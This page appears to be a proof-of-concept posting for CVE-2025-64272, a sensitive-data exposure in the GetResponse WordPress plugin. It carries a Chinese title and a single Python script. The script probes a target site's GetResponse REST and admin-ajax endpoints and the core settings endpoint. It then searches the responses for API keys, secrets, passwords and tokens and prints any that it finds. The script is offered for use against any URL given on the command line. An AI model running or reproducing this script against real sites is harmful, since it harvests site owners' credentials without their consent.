CVE-2025-64272 GetResponse WordPress插件敏感信息泄露漏洞

import requests import re # CVE-2025-64272 PoC - GetResponse WordPress Plugin Sensitive Data Exposure # Target: WordPress site with GetResponse plugin <= 1.5.3 target_url = "http://target-wordpress-site.com" def check_vulnerability(url): """Check if target is vulnerable to CVE-2025-64272""" # Try to access potentially vulnerable endpoints endpoints = [ f"{url}/wp-json/getresponse/v1/config", f"{url}/wp-admin/admin-ajax.php?action=getresponse_fetch_data", f"{url}/wp-json/wp/v2/settings", ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } print(f"[*] Testing CVE-2025-64272 on {url}") for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10) # Check for sensitive data exposure if response.status_code == 200: # Look for API keys, credentials, or sensitive config sensitive_patterns = [ r"api[_-]?key", r"secret", r"password", r"token", r"getresponse.*key" ] content = response.text.lower() for pattern in sensitive_patterns: if re.search(pattern, content, re.IGNORECASE): print(f"[!] Potential sensitive data found at: {endpoint}") print(f"[!] Response preview: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] No obvious vulnerability detected") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: check_vulnerability(sys.argv[1]) else: print("Usage: python cve-2025-64272-poc.py <target-url>")